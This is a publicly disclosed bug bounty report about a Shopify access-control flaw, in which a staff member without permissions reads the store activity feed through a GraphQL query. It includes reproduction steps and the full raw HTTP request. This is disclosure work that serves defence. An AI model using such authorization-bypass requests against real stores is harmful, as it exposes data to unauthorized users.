HexBrain

Shopify · Report #528940

STAFF member with NO Explicit permissions can view `ActivityFeed` via GraphQL

Validstatus
lowseverity
$500bounty
23upvotes
18 Jun 2019disclosed

How it was found

Hi,

This is similar to #95589. I noticed that ActivityFeeds are now being fetched by GraphQL call on Shopify. But from my testing, I noticed that STAFF member with NO EXPLICIT permissions can fetch store's activity feed by calling the vulnerable endpoint.

STEPS

1.STAFF member is not assigned any permissions on Store. by Owner

2.STAFF member logs into store and navigates to https://{store-name).myshopify.com/admin/activity . As you can see below, the STAFF has no permissions to view activity feed {F462884}

2.STAFF member logs into store and triggers the below GraphQL request.

POST /admin/api/graphql HTTP/1.1
Host: bir1.myshopify.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
X-Shopify-Web-Force-Proxy: 1
Origin: https://bir1.myshopify.com
Content-Length: 577

{"operationName":"ActivityFeed","variables":{"first":20},"query":"query ActivityFeed($first: Int!) {\n  staffMember {\n    id\n    privateData {\n      activityFeed(first: $first) {\n        pageInfo {\n          hasNextPage\n          __typename\n        }\n        edges {\n          ...Activity\n          __typename\n        }\n        __typename\n      }\n      __typename\n    }\n    __typename\n  }\n}\n\nfragment Activity on ActivityEdge {\n  cursor\n  node {\n    author\n    createdAt\n    messages\n    topic\n    attributed\n    __typename\n  }\n  __typename\n}\n"}

The response of the above request is follows,

{F462882}

As you can see, the STAFF member was able to view activity feeds of the Store

Impact

By default, the store's Activity Feed must only be displayed to the STAFF having Home permissions. But using the above vulnerable GraphQL call, it was possible for a STAFF member with no permissions for fetch activity feed of a store.

Thanks, @h13-

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original